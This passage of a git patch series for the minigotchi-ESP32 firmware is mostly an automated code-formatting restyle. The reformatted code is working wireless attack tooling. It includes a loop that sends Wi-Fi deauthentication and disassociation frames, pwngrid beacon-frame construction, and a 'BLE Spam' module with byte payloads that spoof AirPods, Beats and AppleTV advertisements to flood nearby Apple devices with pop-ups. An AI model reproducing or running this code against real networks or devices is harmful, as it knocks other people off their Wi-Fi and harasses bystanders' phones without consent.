disassociateFrameSize, 0)) { + Serial.println(mood.getBroken() + " Both packets failed to send!"); + Display::updateDisplay(mood.getBroken(), "Both packets failed to send!"); + } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) && + Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + Serial.println(mood.getBroken() + " Deauthentication failed to send!"); + Display::updateDisplay(mood.getBroken(), "Deauth failed to send!"); + } else if (Deauth::send(deauthFrame, deauthFrameSize, 0) && + !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + Serial.println(mood.getBroken() + " Disassociation failed to send!"); + Display::updateDisplay(mood.getBroken(), "Disassoc failed to send!"); + } else { + Serial.println(mood.getBroken() + " Unable to calculate pkt/s!"); + Display::updateDisplay(mood.getBroken(), "Unable to calculate pkt/s!"); + } } - } - Serial.println(" "); - Serial.println(mood.getHappy() + " Attack finished!"); - Serial.println(" "); - Display::updateDisplay(mood.getHappy(), "Attack finished!"); - running = false; + Serial.println(" "); + Serial.println(mood.getHappy() + " Attack finished!"); + Serial.println(" "); + Display::updateDisplay(mood.getHappy(), "Attack finished!"); + running = false; } diff --git a/minigotchi-ESP32/frame.cpp b/minigotchi-ESP32/frame.cpp index b6a7ee2..15874d7 100644 --- a/minigotchi-ESP32/frame.cpp +++ b/minigotchi-ESP32/frame.cpp @@ -61,16 +61,16 @@ const uint16_t Frame::wpaFlags = 0x0411; Mood &Frame::mood = Mood::getInstance(); // Don't even dare restyle! -const uint8_t Frame::header[]{ - 0x80, 0x00, - 0x00, 0x00, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, - 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, - 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x64, 0x00, - 0x11, 0x04, +const uint8_t Frame::header[] { + 0x80, 0x00, + 0x00, 0x00, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, + 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, + 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, + 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x64, 0x00, + 0x11, 0x04, }; // get header length @@ -99,150 +99,150 @@ const int Frame::pwngridHeaderLength = sizeof(Frame::header); * https://github.com/evilsocket/pwngrid/blob/master/wifi/pack.go */ uint8_t *Frame::pack() { - // make a json doc - String jsonString = ""; - DynamicJsonDocument doc(2048); - - doc["minigotchi"] = true; - doc["epoch"] = Config::epoch; - doc["face"] = Config::face; - doc["identity"] = Config::identity; - doc["name"] = Config::name; - - doc["policy"]["advertise"] = Config::advertise; - doc["policy"]["ap_ttl"] = Config::ap_ttl; - doc["policy"]["associate"] = Config::associate; - doc["policy"]["bored_num_epochs"] = Config::bored_num_epochs; - - doc["policy"]["deauth"] = Config::deauth; - doc["policy"]["excited_num_epochs"] = Config::excited_num_epochs; - doc["policy"]["hop_recon_time"] = Config::hop_recon_time; - doc["policy"]["max_inactive_scale"] = Config::max_inactive_scale; - doc["policy"]["max_interactions"] = Config::max_interactions; - doc["policy"]["max_misses_for_recon"] = Config::max_misses_for_recon; - doc["policy"]["min_recon_time"] = Config::min_rssi; - doc["policy"]["min_rssi"] = Config::min_rssi; - doc["policy"]["recon_inactive_multiplier"] = - Config::recon_inactive_multiplier; - doc["policy"]["recon_time"] = Config::recon_time; - doc["policy"]["sad_num_epochs"] = Config::sad_num_epochs; - doc["policy"]["sta_ttl"] = Config::sta_ttl; - - doc["pwnd_run"] = Config::pwnd_run; - doc["pwnd_tot"] = Config::pwnd_tot; - doc["session_id"] = Config::session_id; - doc["uptime"] = Config::uptime; - doc["version"] = Config::version; - - // serialize then put into beacon frame - serializeJson(doc, jsonString); - Frame::essidLength = measureJson(doc); - Frame::headerLength = 2 + ((uint8_t)(essidLength / 255) * 2); - uint8_t *beaconFrame = new uint8_t[Frame::pwngridHeaderLength + - Frame::essidLength + Frame::headerLength]; - memcpy(beaconFrame, Frame::header, Frame::pwngridHeaderLength); - - /** developer note: - * - * if you literally want to check the json everytime you send a packet(non - * serialized ofc) - * - * Serial.println(jsonString); - */ - - int frameByte = pwngridHeaderLength; - for (int i = 0; i < essidLength; i++) { - if (i == 0 || i % 255 == 0) { - beaconFrame[frameByte++] = Frame::IDWhisperPayload; - uint8_t newPayloadLength = 255; - if (essidLength - i < Frame::chunkSize) { - newPayloadLength = essidLength - i; - } - beaconFrame[frameByte++] = newPayloadLength; + // make a json doc + String jsonString = ""; + DynamicJsonDocument doc(2048); + + doc["minigotchi"] = true; + doc["epoch"] = Config::epoch; + doc["face"] = Config::face; + doc["identity"] = Config::identity; + doc["name"] = Config::name; + + doc["policy"]["advertise"] = Config::advertise; + doc["policy"]["ap_ttl"] = Config::ap_ttl; + doc["policy"]["associate"] = Config::associate; + doc["policy"]["bored_num_epochs"] = Config::bored_num_epochs; + + doc["policy"]["deauth"] = Config::deauth; + doc["policy"]["excited_num_epochs"] = Config::excited_num_epochs; + doc["policy"]["hop_recon_time"] = Config::hop_recon_time; + doc["policy"]["max_inactive_scale"] = Config::max_inactive_scale; + doc["policy"]["max_interactions"] = Config::max_interactions; + doc["policy"]["max_misses_for_recon"] = Config::max_misses_for_recon; + doc["policy"]["min_recon_time"] = Config::min_rssi; + doc["policy"]["min_rssi"] = Config::min_rssi; + doc["policy"]["recon_inactive_multiplier"] = + Config::recon_inactive_multiplier; + doc["policy"]["recon_time"] = Config::recon_time; + doc["policy"]["sad_num_epochs"] = Config::sad_num_epochs; + doc["policy"]["sta_ttl"] = Config::sta_ttl; + + doc["pwnd_run"] = Config::pwnd_run; + doc["pwnd_tot"] = Config::pwnd_tot; + doc["session_id"] = Config::session_id; + doc["uptime"] = Config::uptime; + doc["version"] = Config::version; + + // serialize then put into beacon frame + serializeJson(doc, jsonString); + Frame::essidLength = measureJson(doc); + Frame::headerLength = 2 + ((uint8_t)(essidLength / 255) * 2); + uint8_t *beaconFrame = new uint8_t[Frame::pwngridHeaderLength + + Frame::essidLength + Frame::headerLength]; + memcpy(beaconFrame, Frame::header, Frame::pwngridHeaderLength); + + /** developer note: + * + * if you literally want to check the json everytime you send a packet(non + * serialized ofc) + * + * Serial.println(jsonString); + */ + + int frameByte = pwngridHeaderLength; + for (int i = 0; i < essidLength; i++) { + if (i == 0 || i % 255 == 0) { + beaconFrame[frameByte++] = Frame::IDWhisperPayload; + uint8_t newPayloadLength = 255; + if (essidLength - i < Frame::chunkSize) { + newPayloadLength = essidLength - i; + } + beaconFrame[frameByte++] = newPayloadLength; + } + beaconFrame[frameByte++] = (uint8_t)jsonString[i]; } - beaconFrame[frameByte++] = (uint8_t)jsonString[i]; - } - /* developer note: we can print the beacon frame like so... + /* developer note: we can print the beacon frame like so... - Serial.println("('-') Full Beacon Frame:"); - for (size_t i = 0; i < frameSize; ++i) { - Serial.print(beaconFrame[i], HEX); - Serial.print(" "); - } + Serial.println("('-') Full Beacon Frame:"); + for (size_t i = 0; i < frameSize; ++i) { + Serial.print(beaconFrame[i], HEX); + Serial.print(" "); + } - Serial.println(" "); + Serial.println(" "); - */ + */ - return beaconFrame; + return beaconFrame; } /** * Sends a pwnagotchi packet in AP mode */ bool Frame::send() { - // convert to a pointer because esp-idf is a pain in the ass - WiFi.mode(WIFI_AP); - uint8_t *frame = Frame::pack(); - size_t frameSize = Frame::pwngridHeaderLength + Frame::essidLength + - Frame::headerLength; // actually disgusting but it works - - // send full frame - // we don't use raw80211 since it sends a header (which we don't need), - // although we do use it for monitoring, etc. - delay(102); - // Channel::switchChannel(1 + rand() % (13 - 1 + 1)); - esp_err_t err = esp_wifi_80211_tx(WIFI_IF_AP, frame, frameSize, false); - - delete[] frame; - return (err == ESP_OK); + // convert to a pointer because esp-idf is a pain in the ass + WiFi.mode(WIFI_AP); + uint8_t *frame = Frame::pack(); + size_t frameSize = Frame::pwngridHeaderLength + Frame::essidLength + + Frame::headerLength; // actually disgusting but it works + + // send full frame + // we don't use raw80211 since it sends a header (which we don't need), + // although we do use it for monitoring, etc. + delay(102); + // Channel::switchChannel(1 + rand() % (13 - 1 + 1)); + esp_err_t err = esp_wifi_80211_tx(WIFI_IF_AP, frame, frameSize, false); + + delete[] frame; + return (err == ESP_OK); } /** * Full usage of Pwnagotchi's advertisments on the Minigotchi. */ void Frame::advertise() { - int packets = 0; - unsigned long startTime = millis(); - - if (Config::advertise) { - Serial.println(mood.getIntense() + " Starting advertisment..."); - Serial.println(" "); - Display::updateDisplay(mood.getIntense(), "Starting advertisment..."); - Parasite::sendAdvertising(); - delay(Config::shortDelay); - for (int i = 0; i < 150; ++i) { - if (Frame::send()) { - packets++; - - // calculate packets per second - float pps = packets / (float)(millis() - startTime) * 1000; - - // show pps - if (!isinf(pps)) { - Serial.print(mood.getIntense() + " Packets per second: "); - Serial.print(pps); - Serial.print(" pkt/s (Channel: "); - Serial.print(Channel::getChannel()); - Serial.println(")"); - Display::updateDisplay( - mood.getIntense(), - "Packets per second: " + (String)pps + " pkt/s" + - " (Channel: " + (String)Channel::getChannel() + ")"); + int packets = 0; + unsigned long startTime = millis(); + + if (Config::advertise) { + Serial.println(mood.getIntense() + " Starting advertisment..."); + Serial.println(" "); + Display::updateDisplay(mood.getIntense(), "Starting advertisment..."); + Parasite::sendAdvertising(); + delay(Config::shortDelay); + for (int i = 0; i < 150; ++i) { + if (Frame::send()) { + packets++; + + // calculate packets per second + float pps = packets / (float)(millis() - startTime) * 1000; + + // show pps + if (!isinf(pps)) { + Serial.print(mood.getIntense() + " Packets per second: "); + Serial.print(pps); + Serial.print(" pkt/s (Channel: "); + Serial.print(Channel::getChannel()); + Serial.println(")"); + Display::updateDisplay( + mood.getIntense(), + "Packets per second: " + (String)pps + " pkt/s" + + " (Channel: " + (String)Channel::getChannel() + ")"); + } + } else { + Serial.println(mood.getBroken() + " Advertisment failed to send!"); + Display::updateDisplay(mood.getBroken(), + "Advertisment failed to send!"); + } } - } else { - Serial.println(mood.getBroken() + " Advertisment failed to send!"); - Display::updateDisplay(mood.getBroken(), - "Advertisment failed to send!"); - } - } - Serial.println(" "); - Serial.println(mood.getHappy() + " Advertisment finished!"); - Serial.println(" "); - Display::updateDisplay(mood.getHappy(), "Advertisment finished!"); - } else { - // do nothing but still idle - } + Serial.println(" "); + Serial.println(mood.getHappy() + " Advertisment finished!"); + Serial.println(" "); + Display::updateDisplay(mood.getHappy(), "Advertisment finished!"); + } else { + // do nothing but still idle + } } From 8f1a1c2a7db1fba9ce5948dd5f1c04810139b0fc Mon Sep 17 00:00:00 2001 From: "Restyled.io" Date: Sat, 23 Nov 2024 23:06:01 +0000 Subject: [PATCH 10/10] Restyled by clang-format --- minigotchi-ESP32/ble.cpp | 351 +++++++++--------- minigotchi-ESP32/config.cpp | 104 +++--- minigotchi-ESP32/config.h | 106 +++--- minigotchi-ESP32/deauth.cpp | 687 ++++++++++++++++++------------------ minigotchi-ESP32/frame.cpp | 266 +++++++------- 5 files changed, 733 insertions(+), 781 deletions(-) diff --git a/minigotchi-ESP32/ble.cpp b/minigotchi-ESP32/ble.cpp index 0ba1875..1bdc188 100644 --- a/minigotchi-ESP32/ble.cpp +++ b/minigotchi-ESP32/ble.cpp @@ -35,13 +35,11 @@ BLEAdvertising *Ble::pAdvertising; -int Ble::random(int min, int max) { - return min + rand() % (max - min + 1); -} +int Ble::random(int min, int max) { return min + rand() % (max - min + 1); } // User selectable variables int Ble::deviceType = Ble::random( - 1, 26); // 1 for Airpods, 2 for Airpods Pro, 3 for Airpods Max, 4 for... + 1, 26); // 1 for Airpods, 2 for Airpods Pro, 3 for Airpods Max, 4 for... int Ble::delaySeconds = 5; // delay in seconds int Ble::advType = 2; // 0 - ADV_TYPE_IND @@ -59,290 +57,259 @@ Mood &Ble::mood = Mood::getInstance(); uint8_t dataAirpods[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x02, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataAirpodsPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataAirpodsMax[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataAirpodsGen2[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataAirpodsGen3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x13, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataAirpodsProGen2[31] = { 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x14, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataPowerBeats[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x03, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataPowerBeatsPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataBeatsSoloPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataBeatsStudioBuds[31] = { 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x11, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataBeatsFlex[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x10, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataBeatsX[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x05, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataBeatsSolo3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x06, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataBeatsStudio3[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x09, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataBeatsStudioPro[31] = { 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x17, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataBeatsFitPro[31] = {0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x12, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 - }; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataBeatsStudioBudsPlus[31] = { 0x1e, 0xff, 0x4c, 0x00, 0x07, 0x19, 0x07, 0x16, 0x20, 0x75, 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t dataAppleTVSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x01, 0x60, 0x4c, - 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 - }; + 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataAppleTVPair[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x06, 0x60, 0x4c, - 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 - }; + 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataAppleTVNewUser[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x20, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 -}; + 0xc1, 0x20, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataAppleTVAppleIDSetup[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x2b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 -}; + 0xc1, 0x2b, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataAppleTVWirelessAudioSync[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0xc0, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 -}; + 0xc1, 0xc0, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataAppleTVHomekitSetup[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x0d, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 -}; + 0xc1, 0x0d, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataAppleTVKeyboard[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 -}; + 0xc1, 0x13, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataAppleTVConnectingToNetwork[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 -}; + 0xc1, 0x27, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataHomepodSetup[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x0b, 0x60, 0x4c, - 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 - }; + 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataSetupNewPhone[23] = {0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc1, 0x09, 0x60, 0x4c, - 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 - }; + 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataTransferNumber[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x02, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 -}; + 0xc1, 0x02, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; uint8_t dataTVColorBalance[23] = { 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, - 0xc1, 0x1e, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00 -}; + 0xc1, 0x1e, 0x60, 0x4c, 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00}; /** * Initializes bluetooth and sets up payload */ void Ble::init() { - BLEDevice::init(""); + BLEDevice::init(""); - // Create the BLE Server - BLEServer *pServer = BLEDevice::createServer(); + // Create the BLE Server + BLEServer *pServer = BLEDevice::createServer(); - pAdvertising = pServer->getAdvertising(); - BLEAdvertisementData oAdvertisementData = BLEAdvertisementData(); + pAdvertising = pServer->getAdvertising(); + BLEAdvertisementData oAdvertisementData = BLEAdvertisementData(); - // Select the appropriate data based on the device type - uint8_t *data; - switch (deviceType) { - case 1: - data = dataAirpods; - break; - case 2: - data = dataAirpodsPro; - break; - case 3: - data = dataAirpodsMax; - break; - case 4: - data = dataAirpodsGen2; - break; - case 5: - data = dataAirpodsGen3; - break; - case 6: - data = dataAirpodsProGen2; - break; - case 7: - data = dataPowerBeats; - break; - case 8: - data = dataPowerBeatsPro; - break; - case 9: - data = dataBeatsSoloPro; - break; - case 10: - data = dataBeatsStudioBuds; - break; - case 11: - data = dataBeatsFlex; - break; - case 12: - data = dataBeatsX; - break; - case 13: - data = dataBeatsSolo3; - break; - case 14: - data = dataBeatsStudio3; - break; - case 15: - data = dataBeatsStudioPro; - break; - case 16: - data = dataBeatsFitPro; - break; - case 17: - data = dataBeatsStudioBudsPlus; - break; - case 18: - data = dataAppleTVSetup; - break; - case 19: - data = dataAppleTVPair; - break; - case 20: - data = dataAppleTVNewUser; - break; - case 21: - data = dataAppleTVAppleIDSetup; - break; - case 22: - data = dataAppleTVWirelessAudioSync; - break; - case 23: - data = dataAppleTVHomekitSetup; - break; - case 24: - data = dataAppleTVKeyboard; - break; - case 25: - data = dataAppleTVConnectingToNetwork; - break; - case 26: - data = dataTVColorBalance; - break; - default: - data = dataAirpods; // default to dataAirpods if no valid deviceType is - // provided - break; - } - // This flag does not seem to be needed for ESP32 BLE - // oAdvertisementData.setFlags(0x03); + // Select the appropriate data based on the device type + uint8_t *data; + switch (deviceType) { + case 1: + data = dataAirpods; + break; + case 2: + data = dataAirpodsPro; + break; + case 3: + data = dataAirpodsMax; + break; + case 4: + data = dataAirpodsGen2; + break; + case 5: + data = dataAirpodsGen3; + break; + case 6: + data = dataAirpodsProGen2; + break; + case 7: + data = dataPowerBeats; + break; + case 8: + data = dataPowerBeatsPro; + break; + case 9: + data = dataBeatsSoloPro; + break; + case 10: + data = dataBeatsStudioBuds; + break; + case 11: + data = dataBeatsFlex; + break; + case 12: + data = dataBeatsX; + break; + case 13: + data = dataBeatsSolo3; + break; + case 14: + data = dataBeatsStudio3; + break; + case 15: + data = dataBeatsStudioPro; + break; + case 16: + data = dataBeatsFitPro; + break; + case 17: + data = dataBeatsStudioBudsPlus; + break; + case 18: + data = dataAppleTVSetup; + break; + case 19: + data = dataAppleTVPair; + break; + case 20: + data = dataAppleTVNewUser; + break; + case 21: + data = dataAppleTVAppleIDSetup; + break; + case 22: + data = dataAppleTVWirelessAudioSync; + break; + case 23: + data = dataAppleTVHomekitSetup; + break; + case 24: + data = dataAppleTVKeyboard; + break; + case 25: + data = dataAppleTVConnectingToNetwork; + break; + case 26: + data = dataTVColorBalance; + break; + default: + data = dataAirpods; // default to dataAirpods if no valid deviceType is + // provided + break; + } + // This flag does not seem to be needed for ESP32 BLE + // oAdvertisementData.setFlags(0x03); - // Set the advertisement data type - switch (advType) { - case 0: - pAdvertising->setAdvertisementType(ADV_TYPE_IND); - break; - case 1: - pAdvertising->setAdvertisementType(ADV_TYPE_DIRECT_IND_HIGH); - break; - case 2: - pAdvertising->setAdvertisementType(ADV_TYPE_SCAN_IND); - break; - case 3: - pAdvertising->setAdvertisementType(ADV_TYPE_NONCONN_IND); - break; - case 4: - pAdvertising->setAdvertisementType(ADV_TYPE_DIRECT_IND_LOW); - break; - } + // Set the advertisement data type + switch (advType) { + case 0: + pAdvertising->setAdvertisementType(ADV_TYPE_IND); + break; + case 1: + pAdvertising->setAdvertisementType(ADV_TYPE_DIRECT_IND_HIGH); + break; + case 2: + pAdvertising->setAdvertisementType(ADV_TYPE_SCAN_IND); + break; + case 3: + pAdvertising->setAdvertisementType(ADV_TYPE_NONCONN_IND); + break; + case 4: + pAdvertising->setAdvertisementType(ADV_TYPE_DIRECT_IND_LOW); + break; + } - // Set up the advertisement data - oAdvertisementData.addData(std::string((char *)data, sizeof(dataAirpods))); - pAdvertising->setAdvertisementData(oAdvertisementData); + // Set up the advertisement data + oAdvertisementData.addData(std::string((char *)data, sizeof(dataAirpods))); + pAdvertising->setAdvertisementData(oAdvertisementData); } /** * Starts BLE */ void Ble::start() { - Serial.println(mood.getIntense() + " Starting BLE Spam..."); - Display::updateDisplay(mood.getIntense(), "Starting BLE Spam..."); - pAdvertising->start(); - delay(delaySeconds * 1000); - pAdvertising->stop(); - Display::updateDisplay(mood.getNeutral(), "BLE Spam Stopped"); - Serial.println(mood.getNeutral() + " BLE Spam Stopped"); + Serial.println(mood.getIntense() + " Starting BLE Spam..."); + Display::updateDisplay(mood.getIntense(), "Starting BLE Spam..."); + pAdvertising->start(); + delay(delaySeconds * 1000); + pAdvertising->stop(); + Display::updateDisplay(mood.getNeutral(), "BLE Spam Stopped"); + Serial.println(mood.getNeutral() + " BLE Spam Stopped"); } /** * *Manually* stops BLE spam if it is already running */ -void Ble::stop() { - pAdvertising->stop(); -} +void Ble::stop() { pAdvertising->stop(); } /** * Self explanatory... */ void Ble::spam() { - if (Config::spam) { - Ble::init(); - Ble::start(); - } else { - // do nothing - } + if (Config::spam) { + Ble::init(); + Ble::start(); + } else { + // do nothing + } } diff --git a/minigotchi-ESP32/config.cpp b/minigotchi-ESP32/config.cpp index afa36e5..43229d3 100644 --- a/minigotchi-ESP32/config.cpp +++ 